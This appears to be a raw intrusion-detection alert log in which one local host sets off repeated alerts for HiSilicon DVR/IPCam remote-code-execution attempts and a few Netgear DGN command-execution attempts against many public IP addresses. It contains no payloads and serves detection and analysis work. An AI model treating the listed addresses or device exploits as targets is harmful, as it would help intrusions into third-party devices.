05/16/24-16:39:16.603126	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57576	9530	192.168.2.23	85.224.202.126
05/16/24-16:39:02.746109	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51130	9530	192.168.2.23	64.204.27.88
05/16/24-16:39:02.746109	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51130	9530	192.168.2.23	64.204.27.88
05/16/24-16:39:12.400817	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44572	9530	192.168.2.23	133.3.176.156
05/16/24-16:39:05.698748	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52596	9530	192.168.2.23	138.72.204.9
05/16/24-16:39:05.698748	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52596	9530	192.168.2.23	138.72.204.9
05/16/24-16:38:55.212277	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45954	9530	192.168.2.23	75.42.159.230
05/16/24-16:38:55.212277	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45954	9530	192.168.2.23	75.42.159.230
05/16/24-16:39:12.403758	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47856	9530	192.168.2.23	4.192.106.63
05/16/24-16:38:57.448983	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42374	9530	192.168.2.23	157.32.161.91
05/16/24-16:39:05.698729	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33212	9530	192.168.2.23	168.124.27.213
05/16/24-16:38:53.011473	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44082	9530	192.168.2.23	165.197.143.176
05/16/24-16:39:05.698729	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33212	9530	192.168.2.23	168.124.27.213
05/16/24-16:38:53.011473	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44082	9530	192.168.2.23	165.197.143.176
05/16/24-16:39:12.403758	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47856	9530	192.168.2.23	4.192.106.63
05/16/24-16:39:03.260025	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36094	9530	192.168.2.23	82.133.180.164
05/16/24-16:39:03.260025	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36094	9530	192.168.2.23	82.133.180.164
05/16/24-16:39:05.704119	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52672	9530	192.168.2.23	171.97.21.150
05/16/24-16:38:50.052339	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57766	9530	192.168.2.23	170.85.41.91
05/16/24-16:39:05.704119	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52672	9530	192.168.2.23	171.97.21.150
05/16/24-16:38:50.052339	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57766	9530	192.168.2.23	170.85.41.91
05/16/24-16:38:50.052339	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54032	9530	192.168.2.23	81.31.65.164
05/16/24-16:38:50.052339	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54032	9530	192.168.2.23	81.31.65.164
05/16/24-16:39:16.612733	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52116	9530	192.168.2.23	99.162.130.218
05/16/24-16:39:16.612733	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52116	9530	192.168.2.23	99.162.130.218
05/16/24-16:39:02.763329	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39708	9530	192.168.2.23	113.70.73.47
05/16/24-16:39:02.763329	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39708	9530	192.168.2.23	113.70.73.47
05/16/24-16:39:16.579869	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57908	9530	192.168.2.23	155.231.70.28
05/16/24-16:39:16.579869	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57908	9530	192.168.2.23	155.231.70.28
05/16/24-16:39:08.126446	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52912	9530	192.168.2.23	101.36.9.96
05/16/24-16:39:08.092998	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45700	9530	192.168.2.23	118.153.225.130
05/16/24-16:39:08.092998	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45700	9530	192.168.2.23	118.153.225.130
05/16/24-16:39:08.126446	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52912	9530	192.168.2.23	101.36.9.96
05/16/24-16:39:14.494562	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57668	9530	192.168.2.23	9.237.178.247
05/16/24-16:39:14.494562	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57668	9530	192.168.2.23	9.237.178.247
05/16/24-16:39:16.600097	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44034	9530	192.168.2.23	38.100.27.197
05/16/24-16:39:16.600097	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44034	9530	192.168.2.23	38.100.27.197
05/16/24-16:39:16.615052	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37542	9530	192.168.2.23	95.86.196.21
05/16/24-16:39:16.615052	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37542	9530	192.168.2.23	95.86.196.21
05/16/24-16:39:08.041776	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45068	9530	192.168.2.23	170.6.13.99
05/16/24-16:39:08.041776	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45068	9530	192.168.2.23	170.6.13.99
05/16/24-16:39:02.745592	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40164	9530	192.168.2.23	58.117.96.124
05/16/24-16:39:02.745592	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40164	9530	192.168.2.23	58.117.96.124
05/16/24-16:38:59.583145	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51744	9530	192.168.2.23	61.153.23.127
05/16/24-16:39:02.765729	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52222	9530	192.168.2.23	138.41.47.26
05/16/24-16:38:59.583145	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51744	9530	192.168.2.23	61.153.23.127
05/16/24-16:39:02.765729	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52222	9530	192.168.2.23	138.41.47.26
05/16/24-16:39:12.298315	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39086	9530	192.168.2.23	87.38.48.162
05/16/24-16:39:12.298315	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39086	9530	192.168.2.23	87.38.48.162
05/16/24-16:38:57.431439	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42242	9530	192.168.2.23	84.105.83.219
05/16/24-16:38:57.431439	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42242	9530	192.168.2.23	84.105.83.219
05/16/24-16:39:03.274732	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41466	9530	192.168.2.23	178.101.70.74
05/16/24-16:39:03.274732	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41466	9530	192.168.2.23	178.101.70.74
05/16/24-16:39:12.400929	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59712	9530	192.168.2.23	209.252.32.144
05/16/24-16:38:50.068398	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47400	9530	192.168.2.23	27.252.27.83
05/16/24-16:39:02.726938	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42336	9530	192.168.2.23	132.201.164.47
05/16/24-16:38:50.068398	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47400	9530	192.168.2.23	27.252.27.83
05/16/24-16:39:02.726938	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42336	9530	192.168.2.23	132.201.164.47
05/16/24-16:39:12.400929	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59712	9530	192.168.2.23	209.252.32.144
05/16/24-16:38:57.409029	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37618	9530	192.168.2.23	95.196.178.18
05/16/24-16:39:03.262246	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38664	9530	192.168.2.23	183.138.184.9
05/16/24-16:39:03.262246	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38664	9530	192.168.2.23	183.138.184.9
05/16/24-16:39:12.383669	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58146	9530	192.168.2.23	162.154.118.79
05/16/24-16:39:12.383669	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58146	9530	192.168.2.23	162.154.118.79
05/16/24-16:38:57.302540	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41156	9530	192.168.2.23	203.44.202.98
05/16/24-16:38:57.302540	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41156	9530	192.168.2.23	203.44.202.98
05/16/24-16:39:03.290444	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40452	9530	192.168.2.23	45.171.222.214
05/16/24-16:39:16.582504	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50436	9530	192.168.2.23	35.94.177.227
05/16/24-16:39:16.582504	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50436	9530	192.168.2.23	35.94.177.227
05/16/24-16:39:08.146650	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58916	9530	192.168.2.23	119.144.140.51
05/16/24-16:39:08.146650	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58916	9530	192.168.2.23	119.144.140.51
05/16/24-16:39:12.301071	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57892	9530	192.168.2.23	105.243.162.175
05/16/24-16:39:12.301071	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57892	9530	192.168.2.23	105.243.162.175
05/16/24-16:39:12.384472	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41402	9530	192.168.2.23	67.63.126.139
05/16/24-16:39:12.384472	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41402	9530	192.168.2.23	67.63.126.139
05/16/24-16:39:03.290444	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40452	9530	192.168.2.23	45.171.222.214
05/16/24-16:38:49.277920	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	34702	80	192.168.2.23	81.134.185.77
05/16/24-16:39:14.491081	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52916	9530	192.168.2.23	181.244.7.4
05/16/24-16:39:09.560423	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	38876	80	192.168.2.23	19.161.148.119
05/16/24-16:38:57.305774	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45442	9530	192.168.2.23	110.226.146.217
05/16/24-16:38:57.305774	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45442	9530	192.168.2.23	110.226.146.217
05/16/24-16:39:16.578938	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42456	9530	192.168.2.23	66.9.57.126
05/16/24-16:39:16.578938	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42456	9530	192.168.2.23	66.9.57.126
05/16/24-16:38:59.593429	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39220	9530	192.168.2.23	164.34.128.85
05/16/24-16:38:59.593429	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39220	9530	192.168.2.23	164.34.128.85
05/16/24-16:39:09.560216	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	52858	80	192.168.2.23	51.38.6.128
05/16/24-16:39:14.529066	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48320	9530	192.168.2.23	164.93.227.8
05/16/24-16:39:14.529066	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48320	9530	192.168.2.23	164.93.227.8
05/16/24-16:39:16.580847	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55820	9530	192.168.2.23	153.231.12.216
05/16/24-16:39:16.580847	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55820	9530	192.168.2.23	153.231.12.216
05/16/24-16:39:12.382897	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37086	9530	192.168.2.23	136.21.186.242
05/16/24-16:39:12.382897	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37086	9530	192.168.2.23	136.21.186.242
05/16/24-16:38:53.410466	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	42022	80	192.168.2.23	83.52.52.184
05/16/24-16:39:14.491081	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52916	9530	192.168.2.23	181.244.7.4
05/16/24-16:39:02.726943	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41908	9530	192.168.2.23	140.187.110.92
05/16/24-16:39:02.726943	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41908	9530	192.168.2.23	140.187.110.92
05/16/24-16:39:08.041755	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48320	9530	192.168.2.23	39.166.32.164
05/16/24-16:39:08.041051	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48512	9530	192.168.2.23	64.181.4.218
05/16/24-16:39:08.041051	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48512	9530	192.168.2.23	64.181.4.218
05/16/24-16:39:08.146548	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47544	9530	192.168.2.23	108.132.3.216
05/16/24-16:39:12.380121	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50050	9530	192.168.2.23	152.209.143.121
05/16/24-16:39:08.146548	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47544	9530	192.168.2.23	108.132.3.216
05/16/24-16:39:12.380121	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50050	9530	192.168.2.23	152.209.143.121
05/16/24-16:39:08.041755	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48320	9530	192.168.2.23	39.166.32.164
05/16/24-16:38:55.174990	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51320	9530	192.168.2.23	132.57.165.75
05/16/24-16:39:14.493541	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33464	9530	192.168.2.23	4.166.75.134
05/16/24-16:39:14.531166	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58058	9530	192.168.2.23	133.191.22.104
05/16/24-16:38:55.174990	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51320	9530	192.168.2.23	132.57.165.75
05/16/24-16:39:14.493541	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33464	9530	192.168.2.23	4.166.75.134
05/16/24-16:39:14.531166	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58058	9530	192.168.2.23	133.191.22.104
05/16/24-16:39:02.744340	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59246	9530	192.168.2.23	196.78.54.122
05/16/24-16:39:02.744340	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59246	9530	192.168.2.23	196.78.54.122
05/16/24-16:39:12.383619	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47530	9530	192.168.2.23	116.149.110.52
05/16/24-16:39:05.675922	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53884	9530	192.168.2.23	118.99.17.38
05/16/24-16:39:05.675922	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53884	9530	192.168.2.23	118.99.17.38
05/16/24-16:39:12.383619	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47530	9530	192.168.2.23	116.149.110.52
05/16/24-16:38:57.429272	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54042	9530	192.168.2.23	103.3.12.251
05/16/24-16:39:05.698705	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43982	9530	192.168.2.23	45.135.139.137
05/16/24-16:38:57.429272	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54042	9530	192.168.2.23	103.3.12.251
05/16/24-16:39:05.698705	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43982	9530	192.168.2.23	45.135.139.137
05/16/24-16:38:59.558465	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38256	9530	192.168.2.23	153.210.180.213
05/16/24-16:38:59.558465	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38256	9530	192.168.2.23	153.210.180.213
05/16/24-16:39:02.725564	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57166	9530	192.168.2.23	82.32.229.17
05/16/24-16:39:02.725564	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57166	9530	192.168.2.23	82.32.229.17
05/16/24-16:39:16.582506	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40574	9530	192.168.2.23	138.21.71.24
05/16/24-16:39:16.613591	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40412	9530	192.168.2.23	24.161.242.141
05/16/24-16:39:16.582506	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40574	9530	192.168.2.23	138.21.71.24
05/16/24-16:39:16.613591	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40412	9530	192.168.2.23	24.161.242.141
05/16/24-16:38:55.193157	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33126	9530	192.168.2.23	45.63.138.168
05/16/24-16:38:55.193157	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33126	9530	192.168.2.23	45.63.138.168
05/16/24-16:39:08.124536	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51318	9530	192.168.2.23	18.23.190.147
05/16/24-16:39:08.124536	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51318	9530	192.168.2.23	18.23.190.147
05/16/24-16:39:05.676380	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48516	9530	192.168.2.23	74.40.83.197
05/16/24-16:39:05.676380	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48516	9530	192.168.2.23	74.40.83.197
05/16/24-16:39:12.400580	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50518	9530	192.168.2.23	123.122.204.0
05/16/24-16:39:12.400580	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50518	9530	192.168.2.23	123.122.204.0
05/16/24-16:39:08.128023	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34126	9530	192.168.2.23	143.158.148.204
05/16/24-16:39:08.128023	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34126	9530	192.168.2.23	143.158.148.204
05/16/24-16:39:08.146144	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48678	9530	192.168.2.23	166.28.161.159
05/16/24-16:39:08.146144	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48678	9530	192.168.2.23	166.28.161.159
05/16/24-16:39:08.124554	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43494	9530	192.168.2.23	142.31.206.92
05/16/24-16:39:08.124554	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43494	9530	192.168.2.23	142.31.206.92
05/16/24-16:38:53.098226	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39282	9530	192.168.2.23	81.47.82.230
05/16/24-16:38:53.098226	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39282	9530	192.168.2.23	81.47.82.230
05/16/24-16:39:14.527632	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48500	9530	192.168.2.23	103.216.119.208
05/16/24-16:39:14.527632	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48500	9530	192.168.2.23	103.216.119.208
05/16/24-16:38:50.052449	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38590	9530	192.168.2.23	52.98.74.230
05/16/24-16:38:50.052449	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38590	9530	192.168.2.23	52.98.74.230
05/16/24-16:39:03.263559	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34478	9530	192.168.2.23	39.205.183.227
05/16/24-16:39:03.263559	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34478	9530	192.168.2.23	39.205.183.227
05/16/24-16:39:16.603474	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51708	9530	192.168.2.23	100.253.90.106
05/16/24-16:39:16.603474	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51708	9530	192.168.2.23	100.253.90.106
05/16/24-16:39:05.677612	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46374	9530	192.168.2.23	171.140.101.64
05/16/24-16:39:05.677612	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46374	9530	192.168.2.23	171.140.101.64
05/16/24-16:39:05.675869	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39156	9530	192.168.2.23	48.163.68.222
05/16/24-16:39:14.532663	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55502	9530	192.168.2.23	136.117.102.123
05/16/24-16:39:14.532663	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55502	9530	192.168.2.23	136.117.102.123
05/16/24-16:39:05.675869	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39156	9530	192.168.2.23	48.163.68.222
05/16/24-16:39:01.473860	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	59392	80	192.168.2.23	83.124.111.176
05/16/24-16:38:57.411063	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52556	9530	192.168.2.23	174.40.90.116
05/16/24-16:38:53.065584	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54278	9530	192.168.2.23	42.151.101.178
05/16/24-16:38:57.411063	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52556	9530	192.168.2.23	174.40.90.116
05/16/24-16:39:12.401718	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39548	9530	192.168.2.23	126.183.175.72
05/16/24-16:38:53.065584	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54278	9530	192.168.2.23	42.151.101.178
05/16/24-16:39:12.401718	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39548	9530	192.168.2.23	126.183.175.72
05/16/24-16:38:59.557747	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36534	9530	192.168.2.23	126.82.236.114
05/16/24-16:39:16.604439	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40718	9530	192.168.2.23	92.150.223.178
05/16/24-16:38:59.557747	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36534	9530	192.168.2.23	126.82.236.114
05/16/24-16:39:05.675970	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49878	9530	192.168.2.23	210.93.222.93
05/16/24-16:39:12.295419	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48382	9530	192.168.2.23	113.18.66.68
05/16/24-16:39:05.675970	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49878	9530	192.168.2.23	210.93.222.93
05/16/24-16:39:12.295419	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48382	9530	192.168.2.23	113.18.66.68
05/16/24-16:39:16.604439	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40718	9530	192.168.2.23	92.150.223.178
05/16/24-16:38:59.584481	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38418	9530	192.168.2.23	204.59.62.37
